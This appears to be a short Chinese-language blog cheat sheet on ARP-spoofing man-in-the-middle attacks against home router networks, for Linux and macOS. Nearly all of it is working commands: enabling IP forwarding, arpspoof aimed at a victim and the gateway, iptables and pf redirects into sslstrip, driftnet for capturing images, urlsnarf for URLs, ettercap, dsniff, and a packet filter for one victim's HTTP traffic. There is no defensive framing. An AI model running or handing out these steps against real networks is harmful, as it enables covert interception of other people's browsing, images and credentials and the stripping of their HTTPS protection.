Arp 欺骗获取设备信息

家庭路由器中间人攻击以及数据获取。

Arp过程介绍

Linux

# 开启端口转发
echo 1 >/proc/sys/net/ipv4/ip_forward
# 监控图片
driftnet -i eth0 -d ~/Desktop/pic -a
driftnet -i eth0
# 监控 URL
urlsnarf -i eth0
# 通过iptables 转发

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort>

# 欺骗目标机器
arpspoof  -i eth0 -t 192.168.2.165 192.168.2.1
# 欺骗网关
arpspoof -i eth0  -t 192.168.2.1 192.168.2.150

# 过滤欺骗
arpspoof -i eth0 -c own -t 192.168.2.213 192.168.2.1 

## sslstrip -l  <yourListenPort>
#负责截获数据 
sslstrip 
## 开启抓包工具
wirewhark

mac

rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080

sslstrip -l 8080 

# 修改 /etc/pf.conf 文件，在适当的位置加入
rdr-anchor "http-forwarding"

load anchor "http-forwarding" from "/etc/pf.anchors/http"

# 重启 packet filter，依次输入命令 sudo pfctl -ef /etc/pf.conf 和 sudo pfctl -E

# 转发 sudo sysctl -w net.inet.ip.forwarding=1
# 查看转发情况 sudo sysctl -a | grep forward

# arpspoof -i en0 -t (目标IP) (网关IP)
arpspoof -i en0 -t 10.196.17.58 10.196.17.1

arpspoof -i en0 -t 10.196.17.1 10.196.17.24

# 截获流量 
sudo ettercap -G
# 选择target1

# 网关 欺骗 dsniff -i eth0

filter

ip.src==192.168.2.213 and http

转载请注明出处，本文采用 CC4.0 协议授权

Arp过程介绍

Linux

mac

filter

Arp过程介绍